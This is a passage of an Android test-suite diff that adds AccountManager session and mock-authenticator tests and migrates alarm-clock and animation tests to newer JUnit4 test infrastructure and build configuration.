+        Bundle result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        validateStartUpdateCredentialsSessionParameters(options);
+
+        // Validate no auth token in result.
+        assertNull(result.get(AccountManager.KEY_AUTHTOKEN));
+
+        // Validate returned data
+        validateSessionBundleAndPasswordAndStatusTokenResult(result);
+    }
+
+    /**
+     * Tests finishSession default implementation with overridden startAddAccountSession
+     * implementation. AuthenticatorException is expected because default AbstractAuthenticator
+     * implementation cannot understand customized session bundle.
+     */
+    public void testDefaultFinishSessiontWithStartAddAccountSessionImpl()
+            throws OperationCanceledException, AuthenticatorException, IOException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        // Creates session bundle to be returned by custom implementation of
+        // startAddAccountSession of authenticator.
+        Bundle sessionBundle = new Bundle();
+        sessionBundle.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        sessionBundle.putString(AccountManager.KEY_ACCOUNT_TYPE,
+                Fixtures.TYPE_STANDARD_UNAFFILIATED);
+        Bundle options = new Bundle();
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+
+        // First get an encrypted session bundle from custom startAddAccountSession implementation.
+        AccountManagerFuture<Bundle> future = mAccountManager.startAddAccountSession(
+                Fixtures.TYPE_STANDARD_UNAFFILIATED,
+                null /* authTokenType */,
+                null /* requiredFeatures */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        Bundle result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        Bundle decryptedBundle = result.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        assertNotNull(decryptedBundle);
+
+        try {
+            // Call default implementation of finishSession of authenticator
+            // with encrypted session bundle.
+            future = mAccountManager.finishSession(
+                    decryptedBundle,
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            future.getResult();
+
+            fail("Should have thrown AuthenticatorException if finishSession is not overridden.");
+        } catch (AuthenticatorException e) {
+        }
+    }
+
+    /**
+     * Tests finishSession default implementation with overridden startUpdateCredentialsSession
+     * implementation. AuthenticatorException is expected because default implementation cannot
+     * understand custom session bundle.
+     */
+    public void testDefaultFinishSessionWithCustomStartUpdateCredentialsSessionImpl()
+            throws OperationCanceledException, AuthenticatorException, IOException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        // Creates session bundle to be returned by custom implementation of
+        // startUpdateCredentialsSession of authenticator.
+        Bundle sessionBundle = new Bundle();
+        sessionBundle.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        sessionBundle.putString(AccountManager.KEY_ACCOUNT_TYPE,
+                Fixtures.TYPE_STANDARD_UNAFFILIATED);
+        Bundle options = new Bundle();
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+
+        // First get an encrypted session bundle from custom
+        // startUpdateCredentialsSession implementation.
+        AccountManagerFuture<Bundle> future = mAccountManager.startUpdateCredentialsSession(
+                Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS,
+                null /* authTokenType */,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        Bundle result = future.getResult();
+        assertTrue(future.isDone());
+        assertNotNull(result);
+
+        Bundle decryptedBundle = result.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        assertNotNull(decryptedBundle);
+
+        try {
+            // Call default implementation of finishSession of authenticator
+            // with encrypted session bundle.
+            future = mAccountManager.finishSession(
+                    decryptedBundle,
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            future.getResult();
+
+            fail("Should have thrown AuthenticatorException if finishSession is not overridden.");
+        } catch (AuthenticatorException e) {
+        }
+    }
+
+    private void validateStartAddAccountSessionParameters(Bundle inOpt)
+            throws RemoteException {
+        Bundle params = mProviderClient.call(AuthenticatorContentProvider.METHOD_GET, null, null);
+        params.setClassLoader(StartAddAccountSessionTx.class.getClassLoader());
+        StartAddAccountSessionTx tx = params.<StartAddAccountSessionTx>getParcelable(
+                AuthenticatorContentProvider.KEY_TX);
+        assertEquals(tx.accountType, Fixtures.TYPE_STANDARD_UNAFFILIATED);
+        assertEquals(tx.options.getString(Fixtures.KEY_ACCOUNT_NAME),
+                inOpt.getString(Fixtures.KEY_ACCOUNT_NAME));
+    }
+
+    private void validateStartUpdateCredentialsSessionParameters(Bundle inOpt)
+            throws RemoteException {
+        Bundle params = mProviderClient.call(AuthenticatorContentProvider.METHOD_GET, null, null);
+        params.setClassLoader(StartUpdateCredentialsSessionTx.class.getClassLoader());
+        StartUpdateCredentialsSessionTx tx =
+                params.<StartUpdateCredentialsSessionTx>getParcelable(
+                        AuthenticatorContentProvider.KEY_TX);
+        assertEquals(tx.account, Fixtures.ACCOUNT_UNAFFILIATED_FIXTURE_SUCCESS);
+        assertEquals(tx.options.getString(Fixtures.KEY_ACCOUNT_NAME),
+                inOpt.getString(Fixtures.KEY_ACCOUNT_NAME));
+    }
+
+    private Bundle createOptionsWithAccountName(final String accountName) {
+        Bundle options = new Bundle();
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, SESSION_BUNDLE);
+        return options;
+    }
+
+    private void validateSessionBundleAndPasswordAndStatusTokenResult(Bundle result)
+        throws RemoteException {
+        Bundle sessionBundle = result.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        assertNotNull(sessionBundle);
+        // Assert that session bundle is encrypted and hence data not visible.
+        assertNull(sessionBundle.getString(SESSION_DATA_NAME_1));
+        // Validate that no password is returned in the result for unaffiliated package.
+        assertNull(result.getString(AccountManager.KEY_PASSWORD));
+        assertEquals(Fixtures.ACCOUNT_STATUS_TOKEN_UNAFFILIATED,
+                result.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+    }
 }
 
diff --git a/tests/tests/accounts/src/android/accounts/cts/MockAccountAuthenticator.java b/tests/tests/accounts/src/android/accounts/cts/MockAccountAuthenticator.java
index 470b629..68bd5cd 100644
--- a/tests/tests/accounts/src/android/accounts/cts/MockAccountAuthenticator.java
+++ b/tests/tests/accounts/src/android/accounts/cts/MockAccountAuthenticator.java
@@ -21,6 +21,7 @@
 import android.accounts.AccountAuthenticatorResponse;
 import android.accounts.AccountManager;
 import android.accounts.NetworkErrorException;
+import android.accounts.cts.common.Fixtures;
 import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
@@ -56,8 +57,12 @@
     public Bundle mOptionsConfirmCredentials;
     public Bundle mOptionsAddAccount;
     public Bundle mOptionsGetAuthToken;
+    public Bundle mOptionsStartAddAccountSession;
+    public Bundle mOptionsStartUpdateCredentialsSession;
+    public Bundle mOptionsFinishSession;
     Account mAccount;
     String[] mFeatures;
+    String mStatusToken;
 
     final ArrayList<String> mockFeatureList = new ArrayList<String>();
     private final long mTokenDurationMillis = 1000; // 1 second
@@ -107,6 +112,10 @@
         return mFeatures;
     }
 
+    public String getStatusToken() {
+        return mStatusToken;
+    }
+
     public void clearData() {
         mResponse = null;
         mAccountType = null;
@@ -116,8 +125,12 @@
         mOptionsAddAccount = null;
         mOptionsGetAuthToken = null;
         mOptionsConfirmCredentials = null;
+        mOptionsStartAddAccountSession = null;
+        mOptionsStartUpdateCredentialsSession = null;
+        mOptionsFinishSession = null;
         mAccount = null;
         mFeatures = null;
+        mStatusToken = null;
     }
 
     public void callAccountAuthenticated() {
@@ -312,4 +325,199 @@
         return super.getAccountCredentialsForCloning(response, account);
     }
 
+
+    /**
+     * Start add account flow of the specified accountType to authenticate user.
+     */
+    @Override
+    public Bundle startAddAccountSession(AccountAuthenticatorResponse response,
+            String accountType,
+            String authTokenType,
+            String[] requiredFeatures,
+            Bundle options) throws NetworkErrorException {
+        this.mResponse = response;
+        this.mAccountType = accountType;
+        this.mAuthTokenType = authTokenType;
+        this.mRequiredFeatures = requiredFeatures;
+        this.mOptionsStartAddAccountSession = options;
+
+        String accountName = null;
+        Bundle sessionBundle = null;
+        if (options != null) {
+            accountName = options.getString(Fixtures.KEY_ACCOUNT_NAME);
+            sessionBundle = options.getBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE);
+        }
+
+        Bundle result = new Bundle();
+        if (accountName.startsWith(Fixtures.PREFIX_NAME_SUCCESS)) {
+            // fill bundle with a success result.
+            result.putBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+            result.putString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN,
+                    AccountManagerTest.ACCOUNT_STATUS_TOKEN);
+            result.putString(AccountManager.KEY_PASSWORD, AccountManagerTest.ACCOUNT_PASSWORD);
+            result.putString(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+        } else if (accountName.startsWith(Fixtures.PREFIX_NAME_INTERVENE)) {
+            // Specify data to be returned by the eventual activity.
+            Intent eventualActivityResultData = new Intent();
+            eventualActivityResultData.putExtra(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+            eventualActivityResultData.putExtra(AccountManager.KEY_ACCOUNT_STATUS_TOKEN,
+                    AccountManagerTest.ACCOUNT_STATUS_TOKEN);
+            eventualActivityResultData.putExtra(AccountManager.KEY_PASSWORD,
+                    AccountManagerTest.ACCOUNT_PASSWORD);
+            eventualActivityResultData.putExtra(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE,
+                    sessionBundle);
+            // Fill result with Intent.
+            Intent intent = new Intent(mContext, AccountAuthenticatorDummyActivity.class);
+            intent.putExtra(Fixtures.KEY_RESULT, eventualActivityResultData);
+            intent.putExtra(Fixtures.KEY_CALLBACK, response);
+
+            result.putParcelable(AccountManager.KEY_INTENT, intent);
+        } else {
+            // fill with error
+            fillResultWithError(result, options);
+        }
+        return result;
+    }
+
+    /**
+     * Start update credentials flow to re-auth user without updating locally stored credentials
+     * for an account.
+     */
+    @Override
+    public Bundle startUpdateCredentialsSession(AccountAuthenticatorResponse response,
+            Account account,
+            String authTokenType,
+            Bundle options) throws NetworkErrorException {
+        mResponse = response;
+        mAccount = account;
+        mAuthTokenType = authTokenType;
+        mOptionsStartUpdateCredentialsSession = options;
+
+        String accountName = null;
+        Bundle sessionBundle = null;
+        if (options != null) {
+            accountName = options.getString(Fixtures.KEY_ACCOUNT_NAME);
+            sessionBundle = options.getBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE);
+        }
+
+        Bundle result = new Bundle();
+        if (accountName.startsWith(Fixtures.PREFIX_NAME_SUCCESS)) {
+            // fill bundle with a success result.
+            result.putBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE, sessionBundle);
+            result.putString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN,
+                    AccountManagerTest.ACCOUNT_STATUS_TOKEN);
+            result.putString(AccountManager.KEY_PASSWORD, AccountManagerTest.ACCOUNT_PASSWORD);
+            result.putString(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+        } else if (accountName.startsWith(Fixtures.PREFIX_NAME_INTERVENE)) {
+            // Specify data to be returned by the eventual activity.
+            Intent eventualActivityResultData = new Intent();
+            eventualActivityResultData.putExtra(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+            eventualActivityResultData.putExtra(AccountManager.KEY_ACCOUNT_STATUS_TOKEN,
+                    AccountManagerTest.ACCOUNT_STATUS_TOKEN);
+            eventualActivityResultData.putExtra(AccountManager.KEY_PASSWORD,
+                    AccountManagerTest.ACCOUNT_PASSWORD);
+            eventualActivityResultData.putExtra(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE,
+                    sessionBundle);
+            // Fill result with Intent.
+            Intent intent = new Intent(mContext, AccountAuthenticatorDummyActivity.class);
+            intent.putExtra(Fixtures.KEY_RESULT, eventualActivityResultData);
+            intent.putExtra(Fixtures.KEY_CALLBACK, response);
+
+            result.putParcelable(AccountManager.KEY_INTENT, intent);
+        } else {
+            // fill with error
+            fillResultWithError(result, options);
+        }
+        return result;
+    }
+
+    /**
+     * Finishes account session started by adding the account to device or updating the local
+     * credentials.
+     */
+    @Override
+    public Bundle finishSession(AccountAuthenticatorResponse response,
+            String accountType,
+            Bundle sessionBundle) throws NetworkErrorException {
+        this.mResponse = response;
+        this.mAccountType = accountType;
+        this.mOptionsFinishSession = sessionBundle;
+
+        String accountName = null;
+        if (sessionBundle != null) {
+            accountName = sessionBundle.getString(Fixtures.KEY_ACCOUNT_NAME);
+        }
+
+        Bundle result = new Bundle();
+        if (accountName.startsWith(Fixtures.PREFIX_NAME_SUCCESS)) {
+            // fill bundle with a success result.
+            result.putString(AccountManager.KEY_ACCOUNT_NAME, AccountManagerTest.ACCOUNT_NAME);
+            result.putString(AccountManager.KEY_ACCOUNT_TYPE, AccountManagerTest.ACCOUNT_TYPE);
+            result.putString(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+        } else if (accountName.startsWith(Fixtures.PREFIX_NAME_INTERVENE)) {
+            // Specify data to be returned by the eventual activity.
+            Intent eventualActivityResultData = new Intent();
+            eventualActivityResultData.putExtra(AccountManager.KEY_ACCOUNT_NAME,
+                    AccountManagerTest.ACCOUNT_NAME);
+            eventualActivityResultData.putExtra(AccountManager.KEY_ACCOUNT_TYPE,
+                    AccountManagerTest.ACCOUNT_TYPE);
+            eventualActivityResultData.putExtra(AccountManager.KEY_AUTHTOKEN,
+                    Integer.toString(mTokenCounter.incrementAndGet()));
+
+            // Fill result with Intent.
+            Intent intent = new Intent(mContext, AccountAuthenticatorDummyActivity.class);
+            intent.putExtra(Fixtures.KEY_RESULT, eventualActivityResultData);
+            intent.putExtra(Fixtures.KEY_CALLBACK, response);
+
+            result.putParcelable(AccountManager.KEY_INTENT, intent);
+        } else {
+            // fill with error
+            fillResultWithError(result, sessionBundle);
+        }
+        return result;
+    }
+
+    private void fillResultWithError(Bundle result, Bundle options) {
+        int errorCode = AccountManager.ERROR_CODE_INVALID_RESPONSE;
+        String errorMsg = "Default Error Message";
+        if (options != null) {
+            errorCode = options.getInt(AccountManager.KEY_ERROR_CODE);
+            errorMsg = options.getString(AccountManager.KEY_ERROR_MESSAGE);
+        }
+        result.putInt(AccountManager.KEY_ERROR_CODE, errorCode);
+        result.putString(AccountManager.KEY_ERROR_MESSAGE, errorMsg);
+    }
+
+    /**
+     * Checks if the credentials of the account should be updated.
+     */
+    @Override
+    public Bundle isCredentialsUpdateSuggested(
+            final AccountAuthenticatorResponse response,
+            Account account,
+            String statusToken) throws NetworkErrorException {
+        this.mResponse = response;
+        this.mAccount = account;
+        this.mStatusToken = statusToken;
+
+        Bundle result = new Bundle();
+        if (account.name.startsWith(Fixtures.PREFIX_NAME_SUCCESS)) {
+            // fill bundle with a success result.
+            result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+        } else {
+            // fill with error
+            int errorCode = AccountManager.ERROR_CODE_INVALID_RESPONSE;
+            String errorMsg = "Default Error Message";
+            result.putInt(AccountManager.KEY_ERROR_CODE, errorCode);
+            result.putString(AccountManager.KEY_ERROR_MESSAGE, errorMsg);
+        }
+
+        response.onResult(result);
+        return null;
+    }
 }
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
index 77cb183..6c74c5c 100644
--- a/tests/tests/alarmclock/Android.mk
+++ b/tests/tests/alarmclock/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/alarmclock/AndroidTest.xml b/tests/tests/alarmclock/AndroidTest.xml
index 525257e..b4dea87 100644
--- a/tests/tests/alarmclock/AndroidTest.xml
+++ b/tests/tests/alarmclock/AndroidTest.xml
@@ -14,13 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Configuration for AlarmClock Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAlarmClockService.apk" />
         <option name="test-file-name" value="CtsAlarmClockTestCases.apk" />
     </target_preparer>
 
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">    
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command"
              value="settings put secure voice_interaction_service android.alarmclock.service/.MainInteractionService" />
     </target_preparer>
@@ -28,4 +29,4 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
         <option name="package" value="android.alarmclock.cts" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
index 8f0b185..14fdd5d 100644
--- a/tests/tests/alarmclock/service/Android.mk
+++ b/tests/tests/alarmclock/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index f41100a..224c8ab 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -77,6 +77,12 @@
     }
 
     private boolean isIntentSupported(TestcaseType testCaseType) {
+        final PackageManager manager = mContext.getPackageManager();
+        assertNotNull(manager);
+        // If TV then not supported.
+        if (manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
+            return false;
+        }
         Intent intent;
         switch (testCaseType) {
           case DISMISS_ALARM:
@@ -96,8 +102,6 @@
               // shouldn't happen
               return false;
         }
-        final PackageManager manager = mContext.getPackageManager();
-        assertNotNull(manager);
         if (manager.resolveActivity(intent, 0) == null) {
             Log.i(TAG, "No Voice Activity found for the intent: " + intent.getAction());
             return false;
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index f54b55f..2aeac88 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk
@@ -24,13 +24,19 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES += \
+    android-support-test \
+    mockito-target-minus-junit4 \
+    android-common \
+    compatibility-device-util \
+    ctstestrunner \
+    platform-test-annotations
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_SDK_VERSION := current
-
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/animation/AndroidManifest.xml b/tests/tests/animation/AndroidManifest.xml
index 3744a2a..8c599b7 100644
--- a/tests/tests/animation/AndroidManifest.xml
+++ b/tests/tests/animation/AndroidManifest.xml
@@ -16,8 +16,6 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.animation.cts">
-    <uses-sdk android:minSdkVersion="11" />
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <application>
         <activity android:name="android.animation.cts.AnimationActivity"
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index b4a0ad5..91ee76d 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Animation test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAnimationTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.animation.cts" />
+        <option name="runtime-hint" value="14m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/animation/src/android/animation/cts/AnimationActivity.java b/tests/tests/animation/src/android/animation/cts/AnimationActivity.java
index 598048e..da52d30 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimationActivity.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimationActivity.java
@@ -37,9 +37,8 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.animation.AccelerateInterpolator;
-import java.util.ArrayList;
 
-import android.animation.cts.R;
+import java.util.ArrayList;
 
 public class AnimationActivity extends Activity {
     private static final String BALL_HEIGHT = "ballwidth";
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
new file mode 100644
index 0000000..cb87f29
--- /dev/null
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorListenerAdapterTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.animation.cts;
+
+import android.animation.AnimatorListenerAdapter;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AnimatorListenerAdapterTest {
+    /**
+     * AnimatorListenerAdapter has a noop implementation of the AnimatorListener interface.
+     * It should do nothing, including when nulls are passed to it.
+     * <p>
+     * Mostly this test pokes the implementation so that it is counted as tested. There isn't
+     * much to test here since it has no implementation.
+     */
+    @Test
+    public void testNullOk() {
+        AnimatorListenerAdapter adapter = new MyAdapter();
+        adapter.onAnimationStart(null);
+        adapter.onAnimationEnd(null);
+        adapter.onAnimationRepeat(null);
+        adapter.onAnimationCancel(null);
+        adapter.onAnimationPause(null);
+        adapter.onAnimationResume(null);
+    }
+
+    private static class MyAdapter extends AnimatorListenerAdapter {
+    }
+}
diff --git a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
index 3bf86de..82b54cd 100644
--- a/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
+++ b/tests/tests/animation/src/android/animation/cts/AnimatorSetTest.java
@@ -15,14 +15,17 @@
  */
 package android.animation.cts;
 
-import java.lang.Override;
-import java.lang.Runnable;
-import java.lang.Thread;
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.animation.Animator;
 import android.animation.AnimatorListenerAdapter;
@@ -30,52 +33,81 @@
 import android.animation.ObjectAnimator;
 import android.animation.TimeInterpolator;
 import android.animation.ValueAnimator;
-import android.test.ActivityInstrumentationTestCase2;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateDecelerateInterpolator;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.LinearInterpolator;
 
-public class AnimatorSetTest extends
-        ActivityInstrumentationTestCase2<AnimationActivity> {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AnimatorSetTest {
     private AnimationActivity mActivity;
     private AnimatorSet mAnimatorSet;
+    private float mPreviousDurationScale = 1.0f;
     private long mDuration = 1000;
     private Object object;
     private ObjectAnimator yAnimator;
     private ObjectAnimator xAnimator;
-    Set<Integer> identityHashes = new HashSet<Integer>();
+    Set<Integer> identityHashes = new HashSet<>();
+    private static final float EPSILON = 0.001f;
 
-    public AnimatorSetTest() {
-        super(AnimationActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<AnimationActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setActivityInitialTouchMode(false);
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        InstrumentationRegistry.getInstrumentation().setInTouchMode(false);
+        mActivity = mActivityRule.getActivity();
+        mPreviousDurationScale = ValueAnimator.getDurationScale();
+        ValueAnimator.setDurationScale(1.0f);
         object = mActivity.view.newBall;
         yAnimator = getYAnimator(object);
         xAnimator = getXAnimator(object);
     }
 
-     public void testPlaySequentially() throws Throwable {
-         xAnimator.setRepeatCount(0);
-         yAnimator.setRepeatCount(0);
-         xAnimator.setDuration(50);
-         yAnimator.setDuration(50);
-         Animator[] animatorArray = {xAnimator, yAnimator};
-         mAnimatorSet = new AnimatorSet();
-         mAnimatorSet.playSequentially(animatorArray);
-         verifySequentialPlayOrder(mAnimatorSet, animatorArray);
+    @After
+    public void tearDown() {
+        ValueAnimator.setDurationScale(mPreviousDurationScale);
+    }
 
-         ValueAnimator anim1 = ValueAnimator.ofFloat(0f, 1f);
-         ValueAnimator anim2 = ValueAnimator.ofInt(0, 100);
-         anim1.setDuration(50);
-         anim2.setDuration(50);
-         AnimatorSet set = new AnimatorSet();
-         set.playSequentially(anim1, anim2);
-         verifySequentialPlayOrder(set, new Animator[] {anim1, anim2});
+    @Test
+    public void testPlaySequentially() throws Throwable {
+        xAnimator.setRepeatCount(0);
+        yAnimator.setRepeatCount(0);
+        xAnimator.setDuration(50);
+        yAnimator.setDuration(50);
+        List<Animator> animators = new ArrayList<Animator>();
+        animators.add(xAnimator);
+        animators.add(yAnimator);
+        mAnimatorSet = new AnimatorSet();
+        mAnimatorSet.playSequentially(animators);
+        verifySequentialPlayOrder(mAnimatorSet, new Animator[] {xAnimator, yAnimator});
+
+        ValueAnimator anim1 = ValueAnimator.ofFloat(0f, 1f);
+        ValueAnimator anim2 = ValueAnimator.ofInt(0, 100);
+        anim1.setDuration(50);
+        anim2.setDuration(50);
+        AnimatorSet set = new AnimatorSet();
+        set.playSequentially(anim1, anim2);
+        verifySequentialPlayOrder(set, new Animator[] {anim1, anim2});
     }
 
     /**
@@ -118,12 +150,9 @@
 
         long totalDuration = set.getTotalDuration();
         assertFalse(set.isRunning());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                set.start();
-                startLatch.countDown();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            set.start();
+            startLatch.countDown();
         });
 
         // Set timeout to 100ms, if current count reaches 0 before the timeout, startLatch.await(...)
@@ -135,8 +164,40 @@
         for (int i = 0; i < listeners.length; i++) {
             assertTrue(listeners[i].mEndIsCalled);
         }
+
+        // Now reverse the animations and verify whether the play order is reversed.
+        for (int i = 0; i < animators.length; i++) {
+            if (i == animators.length - 1) {
+                listeners[i] = new MyListener();
+            } else {
+                final int current = i;
+                listeners[i] = new MyListener() {
+                    @Override
+                    public void onAnimationStart(Animator anim) {
+                        super.onAnimationStart(anim);
+                        // Check that the previous animator has finished.
+                        assertTrue(listeners[current + 1].mEndIsCalled);
+                    }
+                };
+            }
+            animators[i].removeAllListeners();
+            animators[i].addListener(listeners[i]);
+        }
+
+        mActivityRule.runOnUiThread(() -> {
+            set.reverse();
+            startLatch.countDown();
+        });
+
+        // Set timeout to 100ms, if current count reaches 0 before the timeout, startLatch.await(..)
+        // will return immediately.
+        assertTrue(startLatch.await(100, TimeUnit.MILLISECONDS));
+        assertTrue(set.isRunning());
+        assertTrue(endLatch.await(totalDuration * 2, TimeUnit.MILLISECONDS));
+
     }
 
+    @Test
